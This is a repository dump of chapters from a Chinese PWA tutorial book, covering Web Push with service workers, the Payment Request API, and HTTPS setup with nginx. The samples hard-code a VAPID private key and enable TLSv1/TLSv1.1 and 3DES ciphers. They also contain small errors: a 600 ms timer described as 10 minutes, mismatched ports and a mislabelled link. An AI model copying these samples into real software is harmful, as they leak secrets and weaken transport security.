'wNY2Jw8Zcw2wjfsiVzIxQB6K-ZoOkn-MS7fXxoo8w0Y'\n}\nwebpush.setVapidDetails(\n  'mailto:your-email@provider.com',\n  vapidKeys.publicKey,\n  vapidKeys.privateKey\n)\n\nwebpush.setGCMAPIKey('<Your GCM API Key Here>')\n\nmodule.exports = function pushMessage (pushSubscription, message) {\n  return webpush.sendNotification(pushSubscription, message)\n}\n```\n\n其中 `vapidKeys` 就是生成的公钥和私钥，它们也可以通过 `webpush.generateVAPIDKeys()` 在程序运行时调用该函数生成。但需要注意的是，公钥和私钥只需要生成一次，后续直接使用生成好的值即可。生成的公钥和私钥需要传入 `webpush.setVapidDetails()` 函数中对 `web-push` 进行配置。\n\n接着是 `webpush.setGCMAPIKey()`，这个函数需要传入 Firebase 云服务（FCM）申请到的 GCMAPIKey。\n\n配置好之后，就可以使用 `webpush.sendNotification()` 方法推送消息了。该方法第一个参数需要传入 `pushSubscription`，也就是推送订阅的最后一步中，浏览器向后端服务发送的 pushSubscription 对象。\n\n后端服务在存储 pushSubscription 的时候，需要做好用户信息与 pushSubscription 的映射关系，这样，后续想要给哪个用户推送消息，只需要获取对应的 pushSubscription 即可。\n\n`sendNotification()` 方法传入的第二个参数就是想要推送给用户的信息，它可以是字符串、或者 node Buffer。比如我们可以通过 `JSON.stringify(obj)` 的方式来向浏览器推送一个对象信息：\n\n```js\nwebpush.sendNotification(pushSubscription, JSON.stringify({\n  msg: 'Hello World',\n  url: 'https://www.baidu.com'\n}))\n```\n\n那么在浏览器就可以通过如下方式接收信息：\n\n```js\nself.addEventListener('push', e => {\n  let payload = e.data.json()\n  console.log(payload.msg)\n  console.log(payload.url)\n})\n```\n\n这样，就实现了应用后端向浏览器推送消息的流程。\n\n## 取消订阅\n\n当网站在完成推送订阅之后，Web Push API 也提供了相应的方法来取消订阅。前面提到推送订阅成功之后 `PushManager.subscribe()` 方法返回的 `pushSubscription` 对象上有一个 `unsubscribe()` 就是用来取消订阅的：\n\n```js\npushSubscription.unsubscribe().then(function () {\n  console.log('取消订阅成功！')\n})\n```\n\n在取消订阅之前，我们可以通过 `PushManager.getSubscription()` 方法来判断用户是否已经订阅，如果用户已经订阅过，那么该函数会返回 `pushSubscription` 对象，这样接下来再调用 `unsubscribe()` 方法最终取消订阅。完整的代码如下所示：\n\n```js\nregistration.pushManager.getSubscription().then(function (pushSubscription) {\n  if (!pushSubscription) {\n    // 用户尚未订阅\n    return\n  }\n  // 取消订阅\n  return pushSubscription.unsubscribe()\n})\n.then(function () {\n  console.log('取消订阅！')\n})\n```\n\n## 结合 Notification 实现离线通知推送\n\n有了 Push API，结合前面学习到的 Notification API 和 clients，我们就能够做到完整的离线通知推送了。接下来我们通过一个例子，来实现在离线情况下接收推送通知，点击通知后自动打开网页的这么一个功能。\n\n在命令行中运行如下命令，下载示例代码到本地。\n\n```bash\n# 从 GitHub 下载代码到本地 pwa-book-demo 目录\n$ git clone https://github.com/lavas-project/pwa-book-demo.git\n\n# 进入到 chapter06/web-push 目录\n$ cd chapter06/web-push\n\n# 安装 npm 依赖\n$ npm install\n```\n\n首先我们通过执行 `web-push generate-vapid-keys  `命令生成 VAPIDKeys，在 `server/config.js` 文件中配置 VAPIDKeys 公钥和私钥，以及配置  Firebase 云服务（FCM）生成的 `GCMAPIkey`。\n\n```javascript\nmodule.exports = {\n  VAPIDKeys: {\n    publicKey: '<Your Public Key>',\n    privateKey: '<Your private Key>'\n  },\n  GCMAPIkey: 'FCM Public Key'\n}\n```\n\n接下来我们需要准备主线程 JS 文件，用来完成注册 Service Worker、申请桌面通知权限、订阅推送等等工作，可查看示例中 `public/script.js` 文件。\n\n```js\n// entry.js\nconst VAPIDPublicKey = '<Your Public Key>'\n// 注册 service worker 并缓存 registration\nlet registration\nfunction registerServiceWorker () {\n  if (!navigator.serviceWorker) {\n    return Promise.reject('系统不支持 service worker')\n  }\n\n  return navigator.serviceWorker.register('/service-worker.js').then(function (reg) {\n    registration = reg\n  })\n}\n\n// 申请桌面通知权限\nfunction requestNotificationPermission () {\n  // 系统不支持桌面通知\n  if (!window.Notification) {\n    return Promise.reject('系统不支持桌面通知')\n  }\n  return Notification.requestPermission()\n    .then(function (permission) {\n      if (permission === 'granted') {\n        return Promise.resolve()\n      }\n      return Promise.reject('用户已禁止桌面通知权限')\n    })\n}\n\n// 订阅推送并将订阅结果发送给后端\nfunction subscribeAndDistribute (registration) {\n  if (!window.PushManager) {\n    return Promise.reject('系统不支持消息推送')\n  }\n  // 检查是否已经订阅过\n  return registration.pushManager.getSubscription().then(function (subscription) {\n    // 如果已经订阅过，就不重新订阅了\n    if (subscription) {\n      return\n    }\n    // 如果尚未订阅则发起推送订阅\n    let publicKey = 'BLjmecELgzCq4S-fJyRx9j03wvR0yjSs6O13L6qABrj7CadS8689Lvi2iErzG8SeaPSX_ezoyD2O0MMkGZcj4c0'\n\n    return registration.pushManager.subscribe({\n      userVisibleOnly: true,\n      applicationServerKey: base64ToUint8Array(publicKey)\n    })\n      // 订阅推送成功之后，将订阅信息传给后端服务器\n      .then(function (subscription) {\n        distributePushResource(subscription)\n      })\n  })\n}\n\nfunction distributePushResource (subscription) {\n  // 假设后端接收并存储订阅对象的接口为 '/api/push/subscribe'\n  return fetch('/api/push/subscribe', {\n    method: 'post',\n    body: JSON.stringify({\n      endpoint: subscription.endpoint,\n      keys: {\n        p256dh: uint8ArrayToBase64(subscription.getKey('p256dh')),\n        auth: uint8ArrayToBase64(subscription.getKey('auth'))\n      }\n    })\n  })\n}\n// 注册 service worker\nregisterServiceWorker()\n  // 申请桌面通知权限\n  .then(function () {\n    requestNotificationPermission()\n  })\n  // 订阅推送\n  .then(function () {\n    subscribeAndDistribute(registration)\n  })\n  .catch(function (err) {\n    console.log(err)\n  })\n```\n\n在 `public/sw.js` 文件中，做好推送事件和通知点击事件的监听：\n\n```js\n// 监听 push 事件\nself.addEventListener('push', function (e) {\n  if (!e.data) {\n    return\n  }\n  // 解析获取推送消息\n  let payload = e.data.json()\n  // 根据推送消息生成桌面通知并展现出来\n  let promise = self.registration.showNotification(payload.title, {\n    body: payload.body,\n    icon: payload.icon,\n    data: {\n      url: payload.url\n    }\n  })\n  e.waitUntil(promise)\n})\n// 监听通知点击事件\nself.addEventListener('notificationclick', function (e) {\n  // 关闭窗口\n  e.notification.close()\n  // 打开网页\n  e.waitUntil(clients.openWindow(e.data.url))\n})\n```\n\n然后我们准备一个简单的 `public/index.html` 文件作为前端入口：\n\n```html\n<!DOCTYPE html>\n<html>\n<head>\n  <meta charset=\"utf-8\">\n  <meta name=\"viewport\" content=\"width=device-width,minimum-scale=1,initial-scale=1\">\n  <title>Web Push API</title>\n</head>\n<body>\n  <h1>你好，很高兴认识你</h1>\n  <script src=\"/entry.js\"></script>\n</body>\n</html>>\n```\n\n接下来准备服务端代码 `server/index.js`，服务端代码主要做两件事情：\n\n1. 提供接口存储 pushScription 对象；\n2. 跑定时任务，每隔一小时就向所有订阅过的浏览器推送消息；\n\n```javascript\n// server.js\n\nconst webpush = require('web-push')\nconst express = require('express')\nconst path = require('path')\n\n// 配置 web push\nwebpush.setVapidDetails(\n  'mailto:your-email@provider.com',\n  'BLjmecELgzCq4S-fJyRx9j03wvR0yjSs6O13L6qABrj7CadS8689Lvi2iErzG8SeaPSX_ezoyD2O0MMkGZcj4c0',\n  'wNY2Jw8Zcw2wjfsiVzIxQB6K-ZoOkn-MS7fXxoo8w0Y'\n)\nwebpush.setGCMAPIKey('<Your GCM API Key Here>')\n\n// 存储 pushSubscription 对象\nlet pushSubscriptionSet = new Set()\n\n// 定时任务，每隔 10 分钟向推送服务器发送消息\nsetInterval(function () {\n  if (pushSubscriptionSet.size > 0) {\n    pushSubscriptionSet.forEach(function (pushSubscription) {\n      webpush.sendNotification(pushSubscription, JSON.stringify({\n        title: '你好',\n        body: '我叫李雷，很高兴认识你',\n        icon: 'https://path/to/icon',\n        url: 'http://localhost'\n      }))\n    })\n  }\n}, 10 * 60)\n\nconst app = new express()\n\n// 服务端提供接口接收并存储 pushSubscription\napp.post('/api/push/subscribe', function (req, res) {\n  if (req.body) {\n    try {\n      pushSubscriptionSet.add(req.body)\n      res.sendStatus(200)\n    } catch (e) {\n      res.sendStatus(403)\n    }\n  } else {\n    res.sendStatus(403)\n  }\n})\n\n// 静态资源\napp.get('/', function (req, res) {\n  res.sendFile(path.resolve(__dirname, 'index.html'))\n})\napp.get('/entry.js', function (req, res) {\n  res.sendFile(path.resolve(__dirname, 'entry.js'))\n})\napp.get('/service-worker.js', function (req, res) {\n  res.sendFile(path.resolve(__dirname, 'service-worker.js'))\n})\n// 启动服务器\napp.listen(80, function () {\n  console.log('服务端启动了')\n})\n```\n\n准备好上述文件之后，配置完成后通过以下命令启动示例，在看到命令行中输出 `Server start on: http://127.0.0.1:8088`，意味着已经成功启动。\n\n```bash\n# 安装成功后启动 chapter06/web-push 示例\n\n$ npm run server\n```\n\n这时打开浏览器，访问 `http://127.0.0.1:8088` 便开始注册 Service Worker、获取桌面通知权限、订阅推送；之后关闭网页，每间隔 10 分钟，后端服务都会向推送服务器发送消息，同时推送服务器将再将消息推送至浏览器，浏览器接收到消息之后将弹出桌面通知，显示文案 “我叫李雷，很高兴认识你” ；接着点击通知之后，将自动打开浏览器同时打开 `http://127.0.0.1:8088`。\n\n这样，整个过程就实现了离线桌面通知的展示以及引导用户打开页面回到站点的流程。上述例子只是一个粗糙的功能演示，开发者可以顺着思路与具体的项目需求去活学活用这个强大的功能。\n\n\n"
  },
  {
    "path": "chapter06/5-payment-request-api.md",
    "content": "# Payment Request API\n\n对于用户留存来说，浏览器的支付功能就是培养用户习惯的利器，一旦用户习惯了在 Web 站点中可以直接使用支付 API 进行购物等消费活动，那么 Web 站点的用户留存率自然就提高了。\n\n虽然目前各大现代浏览器对 Payment Request API 的支持度都还不是很完美，但是这也不妨碍我们去对它进行初步的尝试。本节将从以下几个方面对 Payment Request API 进行介绍：\n\n- Payment Request API 解决的问题\n- Payment Request API 的简单使用\n- Payment Request API 安全性分析\n- Payment Request API 的未来展望\n\n## Payment Request API 解决的问题\n\n顾名思义，很容易发现 Payment Request API 解决的问题就是支付的问题，而且是利用浏览器来解决这个问题。不同于手机 Native App 的支付，普通 PC 端和手机端的浏览器都能使用 Payment Request API 进行支付，这也是一大亮点。\n\n那支付问题是什么呢？\n\n简单举个例子，现代社会很多人都会有网上购物的需求。如果我想在淘宝买东西，而且还是第一次，那么很有可能我就会去找个电脑，用浏览器打开淘宝，注册个账号然后开始逛淘宝。最后下单的时候，需要输入收货地址等一系列信息，然后提交。\n\n然而问题远远没有结束，订单提交后支付问题接踵而至。由于是第一次逛淘宝，所以支付宝也没有，又得注册个账号，绑定银行卡信息，然后授权进行支付。这下可算买到东西了，但是逛京东的时候这些问题又来了，而且京东的界面和淘宝的界面还不一样，流程也不一样，用户体验也就因此不同，产生的实际收益也因此有所差异。如果是一些网站的支付体验特别差，那么可能直接造成用户的流失，这样就非常得不偿失了。另外，各个网站不同的支付 API 对于开发人员也是一种煎熬。\n\n所以 Payment Request API 就是为了解决上述问题而被提出的。\n\n简单来说，Payment Request API 就是以一套原生的支付界面代替了原来各个商家自己设计的界面，所以整个流程变得高度统一。填一次收货地址信息和银行卡信息就能在所有的网站中使用，这就是 Payment Request API 最大的魅力。\n\n总的来说，Payment Request API 是新的浏览器标准，旨在取代各种商家的结账流程，提供统一的风格和体验。因此它具有如下几个特点：\n\n- 使浏览器充当用户和商家的中介\n- 使支付流程统一风格，形成标准\n- 适合任何拥有浏览器的电子设备\n- 可以对接各种不同的支付方式\n\n## Payment Request API 的简单使用\n\n在使用 Payment Request API 之前，我们先来了解一下 Payment Request API 的整体使用流程。\n\n1. 商家为用户购买的商品创建 PaymentRequest ，其中包含金额、币种和支付方式等信息\n2. 浏览器确定兼容性后，展示支付界面\n3. 用户选择支付方式后确认执行或者取消交易\n4. 浏览器反馈用户支付的结果\n\n### 创建 PaymentRequest\n\nPayment Request API 有一定的兼容性问题，所以下面的示例代码都是在支持 Payment Request API 的情况下运行的，如果使用者在生产环境下使用，请务必解决兼容性问题。\n\n```js\nlet request = new PaymentRequest(\n  methodData, // 需要的支付方式\n  details,    // 账单信息\n  options     // 其他消息\n);\n```\n\n上述代码中，`methodData` 变量是一个数组，数组内的每一项都是一个字典，其中包含支持的支付方式和相应的各种信息。`details` 变量是交易的详细信息，包含的基本元素有`id`，`displayItems`，`total`，分别代表订单号、购买物品列表和总额。当然，`details` 还可以有一些其他信息，如快递信息等。`options` 变量也是一个字典，用来设置哪些信息需要用户填写。下面代码示例中的 `options` 就表明了用户需要输入姓名、手机号和送货信息。\n\n```js\nfunction createPaymentRequest () {\n  let methodData = [{\n    supportedMethods: 'basic-card',\n    data: {\n      supportedNetworks: ['visa', 'mastercard'],\n      supportedTypes: ['debit', 'credit'],\n    }\n  }]\n  let details = {\n    id: 'order-2049',\n    displayItems:[{\n      label: 'Mechanical Keyboard',\n      amount: { currency: 'RMB', value: '999.00' }\n    }],\n    total: {\n      label: 'total',\n      amount: { currency: 'RMB', value: '999.00' }\n    }\n  }\n  let options = {\n    requestPayerEmail: false,\n    requestPayerName: true,\n    requestPayerPhone: true,\n    requestShipping: true,\n  }\n  return new PaymentRequest(methodData, details, options)\n}\n```\n\n### 展示支付界面\n\n```js\nfunction show () {\n  let request = createPaymentRequest()\n  request.show().then(function (paymentResponse) {\n    handle(paymentResponse)\n  }).catch(function (e) {\n    console.log(e)\n  })\n}\n```\n\n展示支付界面是比较简单的，只要调用 PaymentRequest 的 show 方法即可。另外还有个 abort 方法，这是用来主动取消 PaymentRequest ，其目标使用场景可以是秒杀活动或商品售罄的情况。另外还有很多其他方法，这里不再赘述。\n\n![展示\b支付界面](./img/pay_ui.png)\n\n### 用户确认支付\n\n在展示支付界面之后，一般是用户填写付款账号信息。如果不是第一次填写，还可以直接自动填充之前填好的信息。简单示例界面如下：\n\n![输入账号信息](./img/account_info.png)\n![展示输入的信息](./img/pay_info.png)\n\n这个步骤就是 Payment Request API 提供的风格统一的支付界面。在这个步骤之后就是用户确认付款，一旦点击付款按钮，这操作就不可逆了。之后就是等待浏览器与运营商之间的交互，根据交互结果如何，我们分别给出应答界面。\n\n### 浏览器反馈用户支付的结果\n\n在 Payment Request API 中，浏览器作为中介，只是收集用户填写的信息，然后按照商家的要求发送到指定的服务器，等待他们的处理，处理完了之后，页面就会显示正确的信息。\n\n这些过程简单来说就是上述示例代码中 `handle` 函数的作用。简单写个示例，如下：\n\n```js\nfunction handle (paymentResponse) {\n  let data = {\n    method: paymentResponse.methodName,\n    details: paymentResponse.details\n  }\n  let init = {\n    method: 'POST',\n    body: JSON.stringify(data),\n    credentials: 'include',\n    headers: {\n      'content-type': 'application/json'\n    }\n  }\n  return fetch('/payment', init)\n    .then(function (res) {\n      if (res.status === 200) {\n        return res.json()\n      } else {\n        throw new Error('payment error')\n      }\n    }).then(function (res) {\n      paymentResponse.complete('success')\n    }, function (error) {\n      paymentResponse.complete('fail')\n    })\n}\n```\n\n## Payment Request API 安全性分析\n\n对于支付相关的问题，我相信很多人都会在意安全性如何。如果支付安全不能得到保障，那么提出这一系列的 API 就没有任何实际意义。\n\n不过由于 Payment Request API 的规范还没有完全确定，所以目前考虑到的安全问题可能也不是十分全面，但也值得一提。\n\n上文提到的 show 方法将会严格定义为在用户交互的情况下，才会被触发，这很好地防止了用户在未察觉的情况下被第三方调起支付界面。另外 Payment Request API 只会允许在安全的环境下运行，比如 HTTPS，因为一些敏感信息一旦是明文传输，那后果将不堪设想。针对跨域的支付请求，相关规范在提出的过程中被讨论了好多次。特别是 `iframe` 标签经常被商家用来和第三方支付机构通信，所以目前的标准准备在 `iframe` 标签上增加一个字段 `allowpaymentrequest` 来支持跨域的支付请求。\n\n还有个人信息的保护在 Payment Request API 的规范中也被提及，像银行卡信息，快递信息等不会在用户没有感知的情况被分享出去。\n\n当然也有一些安全相关的问题一直在被讨论着，比如 `iframe` 标签上的 `sandbox` 属性和 `allowpaymentrequest` 属性同时出场该如何表现的问题，在前不久才有明显的结论。[Payment Request 的 GitHub](https://github.com/w3c/payment-request) 一直都有不错的活跃度，我们相信很多问题在不远的未来都能被很好的解决。\n\n## Payment Request API 的未来展望\n\n根据 caniuse 的反馈，目前现代浏览器中还没有一个完全支持 Payment Request API，但是部分支持的范围已经达到了 `74.74%` ，国内的部分支持率也达到了 `50.5%` (截止到 2018-11-9 的数据)。由此可见，Payment Request API 正在稳步地发展中。不过在我运行上述示例代码的时候，需要事先开启 `web-payments` 功能，我的谷歌浏览器版本是 70，现代大多数浏览器都默认此功能是关闭的。\n\n虽说 Payment Request API 支持的支付方式是挺多的，但是大多数第三方支付是银行，其他的一些第三方支付方式也需要自己跟进。支付宝就积极拥抱变化，[Alipay Payment Method](https://w3c.github.io/webpayments/proposals/Alipay-payment-method.html) 在很早的时候就提出来了。\n\n总的来说，Payment Request API 还是在慢慢地发展中，正如 PWA 的蓬勃发展，Payment Request API 也有一个美好的未来。\n\n> 参考资料：\n> [CR-payment-request-20180830](https://www.w3.org/TR/payment-request)\n> [Web Payments Overview from google](https://developers.google.com/web/fundamentals/payments)\n"
  },
  {
    "path": "chapter06.md",
    "content": "# 用户存留\n\n用户存留一直是网站应用保持活跃度的一项重大课题。通过自身过硬的品质和适当的营销手段吸引到用户之后，PWA 提供了一系列方法来提高网站吸引力，增加网站与用户的互动性等等，达到提高用户留存率的目的。\n\n## 添加到主屏幕\n\n网站应用向来需要依附于浏览器，在一般情况下，网站首先需要打开浏览器，然后输入网址或者打开书签，才能够访问到网页内容。这一流程相比起直接占领主屏的原生应用来说简直是绕了一个大弯，这也是原生应用相对于网站应用更为方便的原因之一。因此网站应用也迫切地需要这一功能。PWA 新增了 `manifest.json` 配置文件，用于定义添加到桌面的图标和应用名称、打开应用的启动动画，并且通过修改显示类型的配置项，可以隐藏掉浏览器相关 UI（如导航栏、工具栏等等），使得从主屏幕直接打开的网站应用更像原生应用。\n\n## 凭证管理\n\n提高网站吸引力的方法少不了长效的账号机制建立，只有通过账号机制才能够更有效地获取并分析用户需求，从而给予更为准确的个性化服务。在这个方面，PWA 新增了凭证管理 API，提供了更为高效和安全的用户身份凭证存储和读取的功能，用以简化及优化用户登录流程，从而提高用户登录率。\n\n## 桌面通知\n<!-- FIXME: 与1.3 离线通知部分第三段重复 -->\n桌面通知是一种时效性最强的与用户沟通的方式，即使在应用未打开的情况下，桌面通知依然能够在设备的通知栏显示推送的通知，能够立即引起用户的注意，对于一些突发事件、限时活动、重大升级等等时效性要求很高的场景，桌面通知总是最好的选择。这也是过去原生应用功能强于网站应用的原因之一。因此 PWA 提供了 Notification API，补全了这一功能。\n\n## 消息推送\n\n有了桌面通知作为消息展示的载体之后，浏览器还提供了专门的消息推送方法，使得网页即使在未打开的情况下，也能够接收到后端推送的消息，并且结合 Notification API 就能够做到离线的消息推送与通知展现了。\n\n## 支付方法\n\n对于用户留存来说，浏览器的支付功能就是培养用户习惯的利器，一旦用户习惯了在浏览器中使用支付 API 进行购物等消费活动，那么用户留存率自然就提高了。而且现代社会很多人都会有网上购物的需求，提供统一方便使用的支付界面是 Payment Request API 的目标之一。\n"
  },
  {
    "path": "chapter07/1-https.md",
    "content": "## 使用 HTTPS 保护站点安全\n\n构建 PWA 应用时，HTTPS 是必不可少的条件之一。使用 HTTP 协议的应用存在着一定的安全隐患，这是因为 HTTP 本身不具备加密的功能，通信中使用明文传输请求和响应的内容，内容可能会被窃听，而且 HTTP 缺少对通信双方身份进行校验的环节，也无法证明报文内容的完整性，存在身份伪装和信息被篡改的风险。所以，我们应该严格地使用 HTTPS 协议来保护 PWA 的安全。\n\n### HTTPS 的概念\n\nHTTPS 即 HTTP over SSL/TLS（Secure Socket Layer/Transport Layer Security），是 HTTP 的安全版本。SSL/TLS 是介于 TCP 和 HTTP 之间的一层安全协议，是一种使用比较广泛的安全技术，简单的说，是在 HTTP 上加了一层处理加密信息的模块，所以使用 HTTPS 基本上不需要对 HTTP 页面进行太多的改造。有些浏览器访问 HTTPS 的站点时，在地址栏的前面会有一把绿色的锁一样的标识，表明 HTTPS 生效了。\n\n![HTTPS-browser](./img/https_browser.png)\n\nHTTPS 的主要作用是：\n\n1. 对数据进行加密，并建立一个信息安全通道，来保证传输过程中的数据安全;\n2. 对网站服务器进行真实身份认证。\n\n它的核心 SSL/TLS 协议采用非对称加密方式。HTTPS 服务器拥有一张数字证书，该证书由客户端、服务端都信赖的第三方机构颁发，它包含了经过认证的网站公钥和一些元数据。公钥用来加密信息，可以提供给所有需要进行通信的客户端，私钥保存在本地，不能泄露。客户端使用这份公钥对信息进行加密，将请求发送给服务器，服务器用私钥解密。反之，服务器对客户端的返回，则使用客户端提供的公钥进行加密，客户端使用本地对应的私钥来解密，保证通信安全。\n\n基于 SSL/TLS 进行一次的 HTTPS 会话的过程，简单地说可以分成几步：\n\n1. 客户端向服务器端索要并验证证书公钥，决定是否继续通信。\n2. 客户端生成 \"对话密钥\"，并用公钥加密返回给服务器。\n3. 服务器用私钥解密，获取密钥，使用密钥加密返回内容，返回给客户端。\n4. 客户端使用 \"对话密钥\" 解密内容，拿到结果。\n\n![HTTPS](./img/https_process.png)\n\n如上流程，经过了身份认证、信息加密等步骤，网络通信安全就得到了保障。在这里涉及到一些重要的安全术语，如公钥/私钥、证书办法机构，我们需要了解一下。\n\n**公钥和私钥对**\n\n公钥/私钥对是一对很长的数字，可用作加密密钥和解密密钥，它们共用一种特别的数学关系。最常见的密钥对系统之一就是 RSA 加密系统。公钥用于加密消息，并且消息只能使用对应的私钥来解密。服务器会将其公钥公布出来，客户端（如浏览器）将使用此密钥来建立一个与服务器安全通信的通道。\n\n**证书颁发机构**\n\n证书颁发机构 (Certificate Authority) 是一个受信任的第三方组织，它为每个使用公开密钥的站点客户发放一个数字证书，数字证书的作用是证明该站点合法地拥有证书中列出的公开密钥，CA 机构的数字签名使得该证书不能被伪造和篡改。包含有 CA 本身公钥的信任锚存储库维护在客户端（如浏览器）上，这些公钥被用来验证站点证书的真伪。CA 是数据安全和 HTTPS 通信的重要组成部分和核心环节。\n\n### 使用 HTTPS 的理由\n\n了解了 HTTPS 的基本原理后，不难看出，HTTP 协议采用明文传输信息，存在信息窃听、信息篡改和信息劫持的风险，使用 HTTPS 对我们构建安全可靠的 PWA 站点有着多方面的收益。\n\n确保站点安全。HTTPS 的通信信息都是加密传播，第三方无法窃听，且具有校验机制，一旦信息被篡改，通信双方就能立刻发现，这样就能够有效防止入侵者篡改网络通信内容。这些入侵者包括但不局限于恶意攻击者，合法但极具威胁的竞争对手，通信运营商等等。特别是在国内，运营商劫持插入广告信息的现象早已屡见不鲜，这些都能通过升级 HTTPS 来规避。\n\n保护用户隐私。并不只是涉及到敏感数据的网站才需要升级 HTTPS，事实上每一个不受保护的 HTTP 请求都有暴露用户行为、用户身份的风险。虽然这些单个请求看起来没有什么敏感信息，但攻击者可以长期监视用户的浏览活动，通过收集大量数据推断用户的行为、地理位置、生活习惯等，从而造成用户的隐私信息泄露。\n\n未来的趋势所在。将 Web 应用升级成为 HTTPS 是大势所趋，HTTPS 可以保障站点的安全、保护用户的隐私。随着 Web 应用平台的多元化发展，拍照、视频等功能都需要较高的用户权限许可，而使用 Service Worker 启用离线应用功能、构建 PWA 站点等已经将 HTTPS 视为必要条件。Google 早就倡议所有的 Web 站点都应该使用 HTTPS， 而且将 HTTPS 站点的搜索结果排名权重进行提升，想必在未来，这也是促进站长将站点进行 HTTPS 化的一个重要理由。\n\n\n### 升级 HTTPS\n\n通过上面的内容，对于 HTTPS 的概念和作用我们已经足够清楚了，接下来，我们介绍下将站点升级成 HTTPS 的一般步骤。\n\n1.获取证书\n\n前面提到过，HTTPS 是由证书认证机构 CA 颁发的、并包含公开密钥拥有者信息、公开密钥、签发者信息、有效期以及一些扩展信息、能提供在互联网上进行身份验证的一种权威性数字文件。要保证数字证书的真实性，必须确保该数字证书是由具有权威性的国际 CA 中心签发的，如 Symantec 就是这样一家通过 Web Trust 认证的国际 CA。购买 CA 颁发的证书有很多类型，分为域名认证、公司认证、扩展认证三个级别，还分成单域名、通配符、多域名三种覆盖范围。认证级别越高、覆盖范围越广的证书，价格越贵。如今，国内一些云服务供应商也提供了配套的免费或收费证书服务，可以选择的类型很多。\n\n2.在服务器安装证书\n\n根据 Web 服务器的类型不同，证书分为多种，我们只需要下载对应的证书文件，然后选择对应的服务器进行配置即可，[Mozilla 便捷的配置生成器](https://www.w3.org/TR/CSP/)，列举了常见服务器的配置方式，对我们配置证书很有帮助。\n\n我们以 Nginx 服务器的配置示例如下：\n\n```nginx\nserver {\n    listen 443 ssl http2;\n    listen [::]:443 ssl http2;\n\n    # certs sent to the client in SERVER HELLO are concatenated in ssl_certificate\n    ssl_certificate /path/to/signed_cert_plus_intermediates;\n    ssl_certificate_key /path/to/private_key;\n    ssl_session_timeout 1d;\n    ssl_session_cache shared:SSL:50m;\n    ssl_session_tickets off;\n\n    # Diffie-Hellman parameter for DHE ciphersuites, recommended 2048 bits\n    ssl_dhparam /path/to/dhparam.pem;\n\n    # intermediate configuration. tweak to your needs.\n    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;\n    ssl_ciphers 'ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA:!DSS';\n    ssl_prefer_server_ciphers on;\n\n    # HSTS (ngx_http_headers_module is required) (15768000 seconds = 6 months)\n    add_header Strict-Transport-Security max-age=15768000;\n\n    # OCSP Stapling ---\n    # fetch OCSP records from URL in ssl_certificate and cache them\n    ssl_stapling on;\n    ssl_stapling_verify on;\n\n    ## verify chain of trust of OCSP response using Root CA and Intermediate certs\n    ssl_trusted_certificate /path/to/root_CA_cert_plus_intermediates;\n\n    resolver <IP DNS resolver>;\n\n    ....\n}\n```\n\n3.重定向配置\n\n接下来我们需要将 HTTP 的访问请求 301 到 HTTPS\n\n```nginx\nserver {\n    listen 80;\n    server_name domain.com www.domain.com;\n    return 301 https://domain.com$request_uri;\n}\n```\n\n4.修改资源链接\n\n将站点所有的 HTTP 资源地址替换成 HTTPS，一个比较好的方法是直接将协议头替换成 `//`，这样浏览器会自动根据当前页面的协议加载相同协议头的资源，更为灵活。例如：\n\n```html\n<script src=\"http://a.com/jquery.js\"></script>\n```\n\n改为\n\n```html\n<script src=\"//a.com/jquery.js\"></script>\n```\n\n如果修改不完全，HTTPS 资源和 HTTP 资源混合出现，即页面包含混合内容，浏览器将警告用户已失去 HTTPS 的全部能力（直观的看，地址栏 HTTPS 的标识将处于失效状态）。事实上，如果是主动混合内容（脚本、插件、CSS、iframe），则浏览器通常根本不会加载或执行此内容，从而导致页面残缺。\n\n5.可以进一步保证安全：设置 Cookie 安全标记\n\n如果用户的身份验证 Cookie 在明文中暴露，则整个会话的安全保障将被破坏，因此，应该确保浏览器只在使用 HTTPS 时，才发送 Cookie。\n\n在网站响应头里面，`Set-Cookie` 字段加上 Secure 标志即可。\n\n```http\nSet-Cookie: LSID=DQAAAK...Eaem_vYg; Secure\n```\n\n完成以上设置，重启服务器，HTTPS 就生效了。迁移成为 HTTPS 后，也不必过分担心额外的性能开销问题。HTTPS 和 HTTP 相比，在 TCP 三次握手的基础上，多了一个 SSL 握手的过程，主要是通信和加密有一定的时间损耗。而在页面内容和应用层性能优化得当的情况下，同时应用安全又得到了保障，总体的收益一定是积极和正向的。\n\n### 避免 HTTPS 站点出现混合内容\n\n前面升级 HTTPS 的过程中，需要将资源的协议头进行替换，我们提到了混合内容的概念。混合内容（Mixed Content）顾名思义：初始 HTML 内容通过安全的 HTTPS 连接加载，但其他资源（例如，图像、视频、样式表、脚本）则通过不安全的 HTTP 连接加载，即在同一个页面同时混合加载了 HTTP 和 HTTPS 资源。\n\n混合图片内容，Chrome 给出警告：\n![mix-content](./img/mix_content.png)\n\n对于混合脚本，Chrome 会阻止加载：\n![mix-content](./img/mix_content_err.png)\n\n混合内容的存在会降低整个页面的安全性，因为这些请求容易受到 XSS，中间人等各种攻击。用户看到这些 Warning 的时候，如果存在威胁，很有可能已经被攻击。所以开发者有义务将资源替换成 HTTPS，减少安全风险。\n\n考虑到这些威胁的存在，浏览器理应阻止所有混合内容的加载，但这会造成众多站点不可用。所以，当前大部分浏览器的策略是阻止最危险的混合内容类型（如 JavaScript 